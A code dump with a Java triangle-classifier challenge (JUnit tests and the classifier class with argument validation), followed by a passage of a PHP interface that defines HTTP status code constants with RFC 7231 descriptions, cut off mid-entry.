us.flexion.challenge.coding.developer.triangle_classifier.shape.TriangleClassificationEnum; public class TriangleClassifierTest { private static Logger logger = LogManager.getLogger(TriangleClassifierTest.class); @Test public void testEquilateral() { // Assign double sideLengthA = 10; double sideLengthB = 10; double sideLengthC = 10; Triangle triangle = new Triangle(sideLengthA, sideLengthB, sideLengthC); TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act String shouldBeEquilateral = null; try { shouldBeEquilateral = triangleClassifier.generateTriangleClassificationEnum(triangle).getClassification(); } catch (InvalidArguementsException e) { boolean shouldBeTrueAndFail = true; assertFalse(shouldBeTrueAndFail); } // Assert assertTrue(shouldBeEquilateral.equals(TriangleClassificationEnum.EQUILATERAL.getClassification())); } @Test public void testIsoscelesOne() { // Assign double sideLengthA = 8; double sideLengthB = 10; double sideLengthC = 10; Triangle triangle = new Triangle(sideLengthA, sideLengthB, sideLengthC); TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act String shouldBeIsocsceles = null; try { shouldBeIsocsceles = triangleClassifier.generateTriangleClassificationEnum(triangle).getClassification(); } catch (InvalidArguementsException e) { boolean shouldBeTrueAndFail = true; assertFalse(shouldBeTrueAndFail); } // Assert assertTrue(shouldBeIsocsceles.equals(TriangleClassificationEnum.ISOCSCELES.getClassification())); } @Test public void testIsoscelesTwo() { // Assign double sideLengthA = 10; double sideLengthB = 0.8; double sideLengthC = 10.0; Triangle triangle = new Triangle(sideLengthA, sideLengthB, sideLengthC); TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act String shouldBeIsocsceles = null; try { shouldBeIsocsceles = triangleClassifier.generateTriangleClassificationEnum(triangle).getClassification(); } catch (InvalidArguementsException e) { boolean shouldBeTrueAndFail = true; assertFalse(shouldBeTrueAndFail); } // Assert assertTrue(shouldBeIsocsceles.equals(TriangleClassificationEnum.ISOCSCELES.getClassification())); } @Test public void testIsoscelesThree() { // Assign double sideLengthA = 10; double sideLengthB = 10; double sideLengthC = 8; Triangle triangle = new Triangle(sideLengthA, sideLengthB, sideLengthC); TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act String shouldBeIsocsceles = null; try { shouldBeIsocsceles = triangleClassifier.generateTriangleClassificationEnum(triangle).getClassification(); } catch (InvalidArguementsException e) { boolean shouldBeTrueAndFail = true; assertFalse(shouldBeTrueAndFail); } // Assert assertTrue(shouldBeIsocsceles.equals(TriangleClassificationEnum.ISOCSCELES.getClassification())); } @Test public void testScalene() { // Assign double sideLengthA = 8; double sideLengthB = 9; double sideLengthC = 10; Triangle triangle = new Triangle(sideLengthA, sideLengthB, sideLengthC); TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act String shouldBeScalene = null; try { shouldBeScalene = triangleClassifier.generateTriangleClassificationEnum(triangle).getClassification(); } catch (InvalidArguementsException e) { boolean shouldBeTrueAndFail = true; assertFalse(shouldBeTrueAndFail); } // Assert assertTrue(shouldBeScalene.equals(TriangleClassificationEnum.SCALENE.getClassification())); } @Test public void testNotATriangle() { // Assign double sideLengthA = 8; double sideLengthB = 9; double sideLengthC = 100; Triangle triangle = new Triangle(sideLengthA, sideLengthB, sideLengthC); TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act String shouldBeNotATriangle = null; try { shouldBeNotATriangle = triangleClassifier.generateTriangleClassificationEnum(triangle).getClassification(); } catch (InvalidArguementsException e) { boolean shouldBeTrue = true; assertFalse(shouldBeTrue); } // Assert assertTrue(shouldBeNotATriangle.equals(TriangleClassificationEnum.NOT_A_TRIANGLE.getClassification())); } @Test public void testAreaOfZeroIsATriangle() { // Assign double sideLengthA = 1; double sideLengthB = 2; double sideLengthC = 3; Triangle triangle = new Triangle(sideLengthA, sideLengthB, sideLengthC); TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act String shouldBeScalene = null; try { shouldBeScalene = triangleClassifier.generateTriangleClassificationEnum(triangle).getClassification(); } catch (InvalidArguementsException e) { boolean shouldBeTrue = true; assertFalse(shouldBeTrue); } // Assert assertTrue(shouldBeScalene.equals(TriangleClassificationEnum.SCALENE.getClassification())); } @Test public void testZeroShouldNotBeATriangle() { // Assign double sideLengthA = 8; double sideLengthB = 9; double sideLengthC = 0.0; Triangle triangle = new Triangle(sideLengthA, sideLengthB, sideLengthC); TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act String shouldBeNotATriangle = null; try { shouldBeNotATriangle = triangleClassifier.generateTriangleClassificationEnum(triangle).getClassification(); } catch (InvalidArguementsException e) { boolean shouldBeTrue = true; assertFalse(shouldBeTrue); } // Assert assertTrue(shouldBeNotATriangle.equals(TriangleClassificationEnum.NOT_A_TRIANGLE.getClassification())); } // Needs to be fixed /*@Test(expected = InvalidArguementsException.class) public void testIncorrectNumberOfValuesShouldNotBeATriangle() { // Assign double sideLengthA = 8; double sideLengthB = 9; Double sideLengthC = null; Triangle triangle = new Triangle(sideLengthA, sideLengthB, sideLengthC); TriangleClassifier triangleClassifier = new TriangleClassifier(); logger.warn("got here 1"); // Act String shouldBeNotATriangle = null; try { TriangleClassificationEnum triangleClassificationEnum = null; triangleClassificationEnum = triangleClassifier.generateTriangleClassificationEnum(triangle); shouldBeNotATriangle = triangleClassificationEnum.getClassification(); } catch (InvalidArguementsException e) { boolean shouldBeTrueAndFail = true; assertFalse(shouldBeTrueAndFail); } // Assert // This should not execute because an exception was thrown. boolean shouldBeTrueAndFail = true; assertFalse(shouldBeTrueAndFail); }*/ @Test public void testValidatorSuccess() { // Assign final String sideOne = "8"; final String sideTwo = "9"; final String sideThree = "10"; String[] values = { sideOne, sideTwo, sideThree }; TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act boolean shouldBeTrue = false; shouldBeTrue = triangleClassifier.areArguementsValid(values); // Assert assertTrue(shouldBeTrue); } @Test public void testValidatorWithZero() { // A logger error message will be generated. // Assign final String sideOne = "8"; final String sideTwo = "9"; final String sideThree = "0"; String[] values = { sideOne, sideTwo, sideThree }; TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act boolean shouldBeFalse = true; shouldBeFalse = triangleClassifier.areArguementsValid(values); // Assert assertFalse(shouldBeFalse); } @Test public void testValidatorWithMissingValue() { // A logger error message will be generated. // Assign final String sideOne = "8"; final String sideTwo = "9"; String[] values = { sideOne, sideTwo }; TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act boolean shouldBeFalse = true; shouldBeFalse = triangleClassifier.areArguementsValid(values); // Assert assertFalse(shouldBeFalse); } @Test public void testValidatorWithNotNumeric() { // A logger error message will be generated. // Assign final String sideOne = "8"; final String sideTwo = "9"; final String sideThree = "Nine"; String[] values = { sideOne, sideTwo, sideThree }; TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act boolean shouldBeFalse = true; shouldBeFalse = triangleClassifier.areArguementsValid(values); // Assert assertFalse(shouldBeFalse); } @Test(expected = InvalidArguementsException.class) public void testRunMainToThrowException() throws InvalidArguementsException { // A logger error message will be generated. // Assign final String sideOne = "8"; final String sideTwo = "9"; String[] values = { sideOne, sideTwo }; TriangleClassifier triangleClassifier = new TriangleClassifier(); // Act triangleClassifier.runMain(values); // Assert // This should not execute because an exception was thrown. boolean shouldBeTrueAndFail = true; assertFalse(shouldBeTrueAndFail); } } <file_sep>package us.flexion.challenge.coding.developer.triangle_classifier; import java.util.ArrayList; import java.util.List; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import us.flexion.challenge.coding.developer.triangle_classifier.exception.InvalidArguementsException; import us.flexion.challenge.coding.developer.triangle_classifier.shape.ShapeSide; import us.flexion.challenge.coding.developer.triangle_classifier.shape.Triangle; import us.flexion.challenge.coding.developer.triangle_classifier.shape.TriangleClassificationEnum; import us.flexion.challenge.coding.developer.triangle_classifier.util.ConversionUtil; import us.flexion.challenge.coding.developer.triangle_classifier.util.MessageFormatter; public class TriangleClassifier { private static Logger logger = LogManager.getLogger(TriangleClassifier.class); private static final int NUMBER_OF_EXPECTED_ARGUEMENTS = 3; public static void main(String[] args) throws InvalidArguementsException { TriangleClassifier triangleClassifier = new TriangleClassifier(); try { triangleClassifier.runMain(args); } catch (InvalidArguementsException e) { logger.error(e); } } protected void runMain(String[] arguements) throws InvalidArguementsException { // Validate the arguments. if (!areArguementsValid(arguements)) { StringBuilder stringBuilder = MessageFormatter.formatInvalidArguementsExceptionMessage(arguements); throw new InvalidArguementsException(stringBuilder.toString()); } // The arguments cannot be null at this point. Triangle triangle = new Triangle((double) Double.parseDouble(arguements[0]), (double) Double.parseDouble(arguements[1]), (double) Double.parseDouble(arguements[2])); triangle.setTriangleClassificationEnum(this.generateTriangleClassificationEnum(triangle)); // This is the program output. logger.info(triangle.getTriangleClassificationEnum().getClassification()); } protected TriangleClassificationEnum generateTriangleClassificationEnum(Triangle triangle) throws InvalidArguementsException { List<Double> sideLengthValues = ConversionUtil.convertShapeSidesToList(triangle); int numberOfRepeatedValues = 0; for (Double sideLengthValue : sideLengthValues) { // Validate that the side length value is not null. if (sideLengthValue == null) { String[] convertedSideLengthValues = ConversionUtil.convertShapeSideLengthsToArray(triangle); StringBuilder fomattedSideLengthValuesForExceptionMessage = MessageFormatter .formatInvalidArguementsExceptionMessage(convertedSideLengthValues); throw new InvalidArguementsException(fomattedSideLengthValuesForExceptionMessage.toString()); } logger.debug("side length value = [" + sideLengthValue + "]."); double totalOfOtherValues = 0; int currentNumberOfRepeatedValues = 0; // The side length value cannot be null at this point. for (Double otherValue : sideLengthValues) { // Make sure not to compare the object to itself, and if it is // the same object skip it. if (otherValue != sideLengthValue) { logger.debug("Other side length value = [" + otherValue + "]."); totalOfOtherValues += otherValue; if (otherValue.doubleValue() == sideLengthValue.doubleValue()) { logger.debug("The other side length value is equal."); currentNumberOfRepeatedValues++; } } } logger.debug("Total of other side length values = [" + totalOfOtherValues + "]."); logger.debug("Current number of repeated values = [" + currentNumberOfRepeatedValues + "]."); logger.debug("Number of repeated values = [" + numberOfRepeatedValues + "]."); if (currentNumberOfRepeatedValues > numberOfRepeatedValues) { numberOfRepeatedValues = currentNumberOfRepeatedValues; } // I've decided that for this iteration, a triangle with an angle of // zero degrees is still a triangle. It has an area of zero and on // paper it is a line segment, but the three angles add up to 180 // degrees and in the real world the connection of the three sides // can be made mechanically. From research it seems that this is an // assumption so a decision needs to be made by the stakeholders. if (sideLengthValue > totalOfOtherValues) { return TriangleClassificationEnum.NOT_A_TRIANGLE; } } if (numberOfRepeatedValues == (TriangleClassificationEnum.EQUILATERAL.getNumberOfEqualSides() - 1)) { return TriangleClassificationEnum.EQUILATERAL; } if (numberOfRepeatedValues == (TriangleClassificationEnum.ISOCSCELES.getNumberOfEqualSides() - 1)) { return TriangleClassificationEnum.ISOCSCELES; } return TriangleClassificationEnum.SCALENE; } protected boolean areArguementsValid(String[] arguements) { if (arguements.length != NUMBER_OF_EXPECTED_ARGUEMENTS) { logger.error("Invalid number of values. Number of values specified = [" + arguements.length + "], number of values expected = [" + NUMBER_OF_EXPECTED_ARGUEMENTS + "]."); return false; } for (int i = 0; i < arguements.length; i++) { try { if (Double.parseDouble(arguements[i]) <= 0) { logger.error("The specified value [" + arguements[i] + "] for side #[" + (i + 1) + "] must be greater than zero."); return false; } } catch (NumberFormatException e) { logger.error( "The specified value [" + arguements[i] + "] for side #[" + (i + 1) + "] is not a number."); return false; } } return true; } }
c2f8b7eb31b0d0b0e629b03cc96c7fa63951e28e
[ "Markdown", "Java" ]
3
Markdown
kenhanson/Triangle-Classifier
63a7ee43c607edd53bea79d077d3c8f499880503
42436833d41bf1268b4af2f6621ef30e42c93927
refs/heads/master
<repo_name>KoenraadM/teapot<file_sep>/src/StatusCode/RFC/RFC7231.php <?php /** * Interface representing extended HTTP status codes for RFC7231. These codes * are represented as an interface so that developers may implement it and then * use parent::[CODE] to gain a code, or to extend the codes using * static::[CODE] and override their default description. * * This allows for codes to be repurposed in a natural way where the core, * traditional use would not be meaningful. * * PHP version 5.3 * * @category StatusCode * * @package Teapot\StatusCode\RFC * * @author <NAME> <<EMAIL>> * @copyright 2016 <NAME>. All rights reserved. * @license MIT http://opensource.org/licenses/MIT * * @link https://shrikeh.github.com/teapot */ namespace Teapot\StatusCode\RFC; use Teapot\StatusCode\RFC\Status\ProposedStandard; use Teapot\StatusCode\RFC\Stream\IETF as IETFStream; /** * Interface representing extended HTTP status codes for RFC7231. These codes * are represented as an interface so that developers may implement it and then * use parent::[CODE] to gain a code, or to extend the codes using * static::[CODE] and override their default description. * * This allows for codes to be repurposed in a natural way where the core, * traditional use would not be meaningful. * * @category StatusCode * * @package Teapot\StatusCode\RFC * * @author <NAME> <<EMAIL>> * @copyright 2013-2016 <NAME>. All rights reserved. * @license MIT http://opensource.org/licenses/MIT * * @link https://shrikeh.github.com/teapot */ interface RFC7231 extends ProposedStandard, IETFStream { /** * The 100 (Continue) status code indicates that the initial part of a request * has been received and has not yet been rejected by the server. The server * intends to send a final response after the request has been fully received * and acted upon. * * When the request contains an Expect header field that includes a * 100-continue expectation, the 100 response indicates that the server wishes * to receive the request payload body, as described in Section 5.1.1. The * client ought to continue sending the request and discard the 100 response. * * If the request did not contain an Expect header field containing the * 100-continue expectation, the client can simply discard this interim * response. * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.100 * @codingStandardsIgnoreEnd * @var int */ const CONTINUING = 100; /** * As 'continue' is a reserved word in PHP, we append an underscore, so * developers can decide whether to use CONTINUING or CONTINUE_ as their * preferred choice of constant. * * @see Teapot\StatusCode\RFC\RFC7231:CONTINUING * @var int */ const CONTINUE_ = self::CONTINUING; /** * The 101 (Switching Protocols) status code indicates that the server * understands and is willing to comply with the client's request, via the * Upgrade header field (Section 6.7 of [RFC7230]), for a change in the * application protocol being used on this connection. The server must * generate an Upgrade header field in the response that indicates which * protocol(s) will be switched to immediately after the empty line that * terminates the 101 response.¶ * * It is assumed that the server will only agree to switch protocols when it * is advantageous to do so. For example, switching to a newer version of HTTP * might be advantageous over older versions, and switching to a real-time, * synchronous protocol might be advantageous when delivering resources that * use such features. * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.101 * @codingStandardsIgnoreEnd * @var int */ const SWITCHING_PROTOCOLS = 101; /** * The 200 (OK) status code indicates that the request has succeeded. The * payload sent in a 200 response depends on the request method. For the * methods defined by this specification, the intended meaning of the * payload can be summarized as: ¶ * - GET * a representation of the target resource; * - HEAD * the same representation as GET, but without the representation data; * - POST * a representation of the status of, or results obtained from, the * action; * - PUT, DELETE * a representation of the status of the action; * - OPTIONS * a representation of the communications options; * - TRACE * a representation of the request message as received by the end server. * * Aside from responses to CONNECT, a 200 response always has a payload, * though an origin server may generate a payload body of zero length. If no * payload is desired, an origin server ought to send 204 (No Content) * instead. For CONNECT, no payload is allowed because the successful result * is a tunnel, which begins immediately after the 200 response header * section. * @codingStandardsIgnoreStart * * A 200 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 of * {@link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7234.html#heuristic.freshness RFC7234}). * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.101 * @codingStandardsIgnoreEnd * @var int */ const OK = 200; /** * The 201 (Created) status code indicates that the request has been * fulfilled and has resulted in one or more new resources being created. * The primary resource created by the request is identified by either a * Location header field in the response or, if no Location field is * received, by the effective request URI.¶ * * The 201 response payload typically describes and links to the resource(s) * created. See Section 7.2 for a discussion of the meaning and purpose of * validator header fields, such as ETag and Last-Modified, in a 201 * response. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.201 * @codingStandardsIgnoreEnd * @var int */ const CREATED = 201; /** * The 202 (Accepted) status code indicates that the request has been * accepted for processing, but the processing has not been completed. The * request might or might not eventually be acted upon, as it might be * disallowed when processing actually takes place. There is no facility in * HTTP for re-sending a status code from an asynchronous operation. * * The 202 response is intentionally noncommittal. Its purpose is to allow a * server to accept a request for some other process (perhaps a * batch-oriented process that is only run once per day) without requiring * that the user agent's connection to the server persist until the process * is completed. The representation sent with this response ought to * describe the request's current status and point to (or embed) a status * monitor that can provide the user with an estimate of when the request * will be fulfilled. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.202 * @codingStandardsIgnoreEnd * @var int */ const ACCEPTED = 202; /** * The 203 (Non-Authoritative Information) status code indicates that the * request was successful but the enclosed payload has been modified from * that of the origin server's 200 (OK) response by a transforming proxy * (Section 5.7.2 of [RFC7230]). This status code allows the proxy to notify * recipients when a transformation has been applied, since that knowledge * might impact later decisions regarding the content. For example, future * cache validation requests for the content might only be applicable along * the same request path (through the same proxies). * * The 203 response is similar to the Warning code of 214 Transformation * Applied (Section 5.5 of [RFC7234]), which has the advantage of being * applicable to responses with any status code. * * A 203 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 of * [RFC7234]). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.203 * @codingStandardsIgnoreEnd * @var int */ const NON_AUTHORATIVE_INFORMATION = 203; /** * The 204 (No Content) status code indicates that the server has * successfully fulfilled the request and that there is no additional * content to send in the response payload body. Metadata in the response * header fields refer to the target resource and its selected * representation after the requested action was applied.¶ * * For example, if a 204 status code is received in response to a PUT * request and the response contains an ETag header field, then the PUT was * successful and the ETag field-value contains the entity-tag for the new * representation of that target resource. * * The 204 response allows a server to indicate that the action has been * successfully applied to the target resource, while implying that the user * agent does not need to traverse away from its current "document view" * (if any). The server assumes that the user agent will provide some * indication of the success to its user, in accord with its own interface, * and apply any new or updated metadata in the response to its active * representation. * * For example, a 204 status code is commonly used with document editing * interfaces corresponding to a "save" action, such that the document being * saved remains available to the user for editing. It is also frequently * used with interfaces that expect automated data transfers to be * prevalent, such as within distributed version control systems. * * A 204 response is terminated by the first empty line after the header * fields because it cannot contain a message body. * * A 204 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 of * [RFC7234]). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.204 * @codingStandardsIgnoreEnd * @var int */ const NO_CONTENT = 204; /** * The 205 (Reset Content) status code indicates that the server has * fulfilled the request and desires that the user agent reset the "document * view", which caused the request to be sent, to its original state as * received from the origin server. * * This response is intended to support a common data entry use case where * the user receives content that supports data entry (a form, notepad, * canvas, etc.), enters or manipulates data in that space, causes the * entered data to be submitted in a request, and then the data entry * mechanism is reset for the next entry so that the user can easily * initiate another input action. * * Since the 205 status code implies that no additional content will be * provided, a server must not generate a payload in a 205 response. In * other words, a server must do one of the following for a 205 response: * a) indicate a zero-length body for the response by including a * Content-Length header field with a value of 0; * b) indicate a zero-length payload for the response by including a * Transfer-Encoding header field with a value of chunked and a message body * consisting of a single chunk of zero-length; or, * c) close the connection immediately after sending the blank line * terminating the header section. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.205 * @codingStandardsIgnoreEnd * @var int */ const RESET_CONTENT = 205; /** * The 300 (Multiple Choices) status code indicates that the target resource * has more than one representation, each with its own more specific * identifier, and information about the alternatives is being provided so * that the user (or user agent) can select a preferred representation by * redirecting its request to one or more of those identifiers. In other * words, the server desires that the user agent engage in reactive * negotiation to select the most appropriate representation(s) for its * needs (Section 3.4). * * If the server has a preferred choice, the server should generate a * Location header field containing a preferred choice's URI reference. The * user agent may use the Location field value for automatic redirection. * * For request methods other than HEAD, the server should generate a payload * in the 300 response containing a list of representation metadata and URI * reference(s) from which the user or user agent can choose the one most * preferred. The user agent may make a selection from that list * automatically if it understands the provided media type. A specific * format for automatic selection is not defined by this specification * because HTTP tries to remain orthogonal to the definition of its * payloads. In practice, the representation is provided in some easily * parsed format believed to be acceptable to the user agent, as determined * by shared design or content negotiation, or in some commonly accepted * hypertext format. * * A 300 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 of * [RFC7234]). * * Note: The original proposal for the 300 status code defined the URI * header field as providing a list of alternative representations, such * that it would be usable for 200, 300, and 406 responses and be * transferred in responses to the HEAD method. However, lack of deployment * and disagreement over syntax led to both URI and Alternates (a subsequent * proposal) being dropped from this specification. It is possible to * communicate the list using a set of Link header fields [RFC5988], each * with a relationship of "alternate", though deployment is a * chicken-and-egg problem. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.300 * @codingStandardsIgnoreEnd * @var int */ const MULTIPLE_CHOICES = 300; /** * The 301 (Moved Permanently) status code indicates that the target * resource has been assigned a new permanent URI and any future references * to this resource ought to use one of the enclosed URIs. Clients with * link-editing capabilities ought to automatically re-link references to * the effective request URI to one or more of the new references sent by * the server, where possible. * * The server should generate a Location header field in the response * containing a preferred URI reference for the new permanent URI. The user * agent may use the Location field value for automatic redirection. The * server's response payload usually contains a short hypertext note with a * hyperlink to the new URI(s). * * Note: For historical reasons, a user agent may change the request method * from POST to GET for the subsequent request. If this behavior is * undesired, the 307 (Temporary Redirect) status code can be used instead. * * A 301 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 of * [RFC7234]). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.301 * @codingStandardsIgnoreEnd * @var int */ const MOVED_PERMANENTLY = 301; /** * The 302 (Found) status code indicates that the target resource resides * temporarily under a different URI. Since the redirection might be altered * on occasion, the client ought to continue to use the effective request * URI for future requests. * * The server should generate a Location header field in the response * containing a URI reference for the different URI. The user agent may use * the Location field value for automatic redirection. The server's response * payload usually contains a short hypertext note with a hyperlink to the * different URI(s). * * Note: For historical reasons, a user agent may change the request method * from POST to GET for the subsequent request. If this behavior is * undesired, the 307 (Temporary Redirect) status code can be used instead. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.302 * @codingStandardsIgnoreEnd * @var int */ const FOUND = 302; /** * The 303 (See Other) status code indicates that the server is redirecting * the user agent to a different resource, as indicated by a URI in the * Location header field, which is intended to provide an indirect response * to the original request. A user agent can perform a retrieval request * targeting that URI (a GET or HEAD request if using HTTP), which might * also be redirected, and present the eventual result as an answer to the * original request. Note that the new URI in the Location header field is * not considered equivalent to the effective request URI. * * This status code is applicable to any HTTP method. It is primarily used * to allow the output of a POST action to redirect the user agent to a * selected resource, since doing so provides the information corresponding * to the POST response in a form that can be separately identified, * bookmarked, and cached, independent of the original request. * * A 303 response to a GET request indicates that the origin server does not * have a representation of the target resource that can be transferred by * the server over HTTP. However, the Location field value refers to a * resource that is descriptive of the target resource, such that making a * retrieval request on that other resource might result in a representation * that is useful to recipients without implying that it represents the * original target resource. Note that answers to the questions of what can * be represented, what representations are adequate, and what might be a * useful description are outside the scope of HTTP. * * Except for responses to a HEAD request, the representation of a 303 * response ought to contain a short hypertext note with a hyperlink to the * same URI reference provided in the Location header field. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.303 * @codingStandardsIgnoreEnd * @var int */ const SEE_OTHER = 303; /** * The 305 (Use Proxy) status code was defined in a previous version of this * specification and is now deprecated * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.305 * @codingStandardsIgnoreEnd * @var int * @deprecated */ const USE_PROXY = 305; /** * The 307 (Temporary Redirect) status code indicates that the target * resource resides temporarily under a different URI and the user agent * must not change the request method if it performs an automatic * redirection to that URI. Since the redirection can change over time, the * client ought to continue using the original effective request URI for * future requests. * * The server should generate a Location header field in the response * containing a URI reference for the different URI. The user agent may use * the Location field value for automatic redirection. The server's response * payload usually contains a short hypertext note with a hyperlink to the * different URI(s). * * Note: This status code is similar to 302 (Found), except that it does not * allow changing the request method from POST to GET. This specification * defines no equivalent counterpart for 301 (Moved Permanently) ([RFC7238], * however, defines the status code 308 (Permanent Redirect) for this * purpose). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.307 * @codingStandardsIgnoreEnd * @var int */ const TEMPORARY_REDIRECT = 307; /** * The 400 (Bad Request) status code indicates that the server cannot or * will not process the request due to something that is perceived to be a * client error (e.g., malformed request syntax, invalid request message * framing, or deceptive request routing). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.400 * @codingStandardsIgnoreEnd * @var int */ const BAD_REQUEST = 400; /** * The 402 (Payment Required) status code is reserved for future use. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.402 * @codingStandardsIgnoreEnd * @var int */ const PAYMENT_REQUIRED = 402; /** * The 403 (Forbidden) status code indicates that the server understood the * request but refuses to authorize it. A server that wishes to make public * why the request has been forbidden can describe that reason in the * response payload (if any). * * If authentication credentials were provided in the request, the server * considers them insufficient to grant access. The client should not * automatically repeat the request with the same credentials. The client * may repeat the request with new or different credentials. However, a * request might be forbidden for reasons unrelated to the credentials.¶ * * An origin server that wishes to "hide" the current existence of a * forbidden target resource may instead respond with a status code of 404 * (Not Found). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.403 * @codingStandardsIgnoreEnd * @var int */ const FORBIDDEN = 403; /** * The 404 (Not Found) status code indicates that the origin server did not * find a current representation for the target resource or is not willing * to disclose that one exists. A 404 status code does not indicate whether * this lack of representation is temporary or permanent; the 410 (Gone) * status code is preferred over 404 if the origin server knows, presumably * through some configurable means, that the condition is likely to be * permanent. * * A 404 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 of * [RFC7234]). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.404 * @codingStandardsIgnoreEnd * @var int */ const NOT_FOUND = 404; /** * The 405 (Method Not Allowed) status code indicates that the method * received in the request-line is known by the origin server but not * supported by the target resource. The origin server must generate an * Allow header field in a 405 response containing a list of the target * resource's currently supported methods. * * A 405 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 of * [RFC7234]). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.405 * @codingStandardsIgnoreEnd * @var int */ const METHOD_NOT_ALLOWED = 405; /** * The 406 (Not Acceptable) status code indicates that the target resource * does not have a current representation that would be acceptable to the * user agent, according to the proactive negotiation header fields * received in the request (Section 5.3), and the server is unwilling to * supply a default representation.¶ * * The server should generate a payload containing a list of available * representation characteristics and corresponding resource identifiers * from which the user or user agent can choose the one most appropriate. A * user agent may automatically select the most appropriate choice from * that list. However, this specification does not define any standard for * such automatic selection, as described in Section 6.4.1. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.406 * @codingStandardsIgnoreEnd * @var int */ const NOT_ACCEPTABLE = 406; /** * The 408 (Request Timeout) status code indicates that the server did not * receive a complete request message within the time that it was prepared * to wait. A server should send the "close" connection option (Section * 6.1 of [RFC7230]) in the response, since 408 implies that the server * has decided to close the connection rather than continue waiting. If * the client has an outstanding request in transit, the client may repeat * that request on a new connection. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.408 * @codingStandardsIgnoreEnd * @var int */ const REQUEST_TIMEOUT = 408; /** * The 409 (Conflict) status code indicates that the request could not be * completed due to a conflict with the current state of the target * resource. This code is used in situations where the user might be able to * resolve the conflict and resubmit the request. The server should generate * a payload that includes enough information for a user to recognize the * source of the conflict.¶ * * Conflicts are most likely to occur in response to a PUT request. For * example, if versioning were being used and the representation being PUT * included changes to a resource that conflict with those made by an * earlier (third-party) request, the origin server might use a 409 response * to indicate that it can't complete the request. In this case, the * response representation would likely contain information useful for * merging the differences based on the revision history. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.409 * @codingStandardsIgnoreEnd * @var int */ const CONFLICT = 409; /** * The 410 (Gone) status code indicates that access to the target resource * is no longer available at the origin server and that this condition is * likely to be permanent. If the origin server does not know, or has no * facility to determine, whether or not the condition is permanent, the * status code 404 (Not Found) ought to be used instead. * * The 410 response is primarily intended to assist the task of web * maintenance by notifying the recipient that the resource is intentionally * unavailable and that the server owners desire that remote links to that * resource be removed. Such an event is common for limited-time, * promotional services and for resources belonging to individuals no longer * associated with the origin server's site. It is not necessary to mark all * permanently unavailable resources as "gone" or to keep the mark for any * length of time — that is left to the discretion of the server owner. * * A 410 response is cacheable by default; i.e., unless otherwise indicated * by the method definition or explicit cache controls (see Section 4.2.2 of * [RFC7234]). * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.410 * @codingStandardsIgnoreEnd * @var int */ const GONE = 410; /** * The 411 (Length Required) status code indicates that the server refuses * to accept the request without a defined Content-Length (Section 3.3.2 of * [RFC7230]). The client may repeat the request if it adds a valid * Content-Length header field containing the length of the message body in * the request message. * * @codingStandardsIgnoreStart * * @link https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7231.html#status.411 * @codingStandardsIgnoreEnd * @var int */ const LENGTH_REQUIRED = 411; /** * The 413 (Payload Too Large) status code indicates that the server is * refusing to process a request because the request payload is larger than * the server is willing or able to process. The server may close the * 